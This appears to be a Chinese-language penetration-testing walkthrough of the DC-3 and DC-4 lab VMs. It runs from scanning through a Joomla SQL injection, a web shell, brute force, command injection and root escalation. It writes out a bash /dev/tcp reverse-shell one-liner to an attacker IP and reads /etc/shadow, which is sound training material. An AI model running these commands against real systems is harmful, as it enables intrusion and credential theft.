DC系列靶機滲透測試 DC（3和4）

1. 掃描發現 目標沒有分配到IP地址
   .Arp-scan -l
   
   2.重啓靶機
   (1)按e
   
   Ctrl +x 進入單用戶模式：
   
   進入編輯 /etc/network/interfaces
   
   
   3.確認靶機IP
   
   4.端口掃描，服務掃描
   Nmap -sS -sC -p- -O -T3 -sV ip
   
   只開了一個80端口， 使用Joomla CMS
   先訪問80端口
   
   Joomla 尋找漏洞
   Kali下 搜索 searchsploit joomla
   
   發現一個sql注入的php 文件，因此需要構建一個php執行環境。
   將php放到之前的dvwa中
   
   利用nc傳文件到XP 網站根目錄：
   Nc -lp 8888 >
   
   Kali 上 nc 192.168.2.24 8888 < 44893.php
   
   
   然後訪問a.php 讓服務器解析php，運行程序。
   注出用戶直接登錄，尋找上傳點
   
   上傳文件，
   
   測試成功 。
   
   使用蟻劍連接
   在kali 上監聽 反彈shell 在菜刀內使用
   Bash -c ‘sh -i &>/dev/tcp/192.168.2.20/8000 0>&1’
   
   可以看到已經反彈到了shell
   接下來就是提權操作了
   
   ubuntu版本爲 16.04找版本漏洞
   
   將文本放到apache目錄下
   
   搭建http 服務 然後 wget
   
   

DC-4靶機：
1.掃描

2.服務掃描

訪問 網站

直接搜索nginx 1.15.10 版本漏洞
沒有，因此考慮思路問題。這個靶機不同於前面三個，掃描後臺根本沒有什麼東西。
也沒有CMS可以利用，只有一個登錄框；嘗試爆破。
使用Burp（爆破也要分技巧性爆破） 字典類型合不合適，是否足夠大。
常見弱口令爆破。Admin/root


用戶名爲admin,密碼爲 happy.

期望我們只能點這三個 查看文件，磁盤使用情況，內存使用情況。
猜測存在 文件包含漏洞。

因此存在任意命令執行漏洞。
查看當前路徑


執行命令：
Cat /etc/shadow 沒回顯 說明拒絕訪問
Whoami www-data
Cat /etc/shadow 發現了 root,jim,sam用戶可以登錄。（嘗試ssh)
Uname -a



寫一句話木馬：發現文件並沒有真的寫進入。
嘗試反彈shell



已經拿到shell，接下來就是提權。
嘗試find suid提權，沒用。
繼續尋找信息，
進入jim 用戶發現一個backups目錄，有一個備份密碼文件，嘗試爆破jim密碼

然後登錄jim

在jim 家目錄下發現有郵件

切到/var/mail 查看

發現 charles 給jim發了一封郵件，它的密碼是 ^xHhA&hvim0y
切到charles 用戶


切到home 發現還有sam 用戶，
Sudo -l 發現使用 teehee 可以不用輸入root密碼.

利用crontab 提權


拿到root 。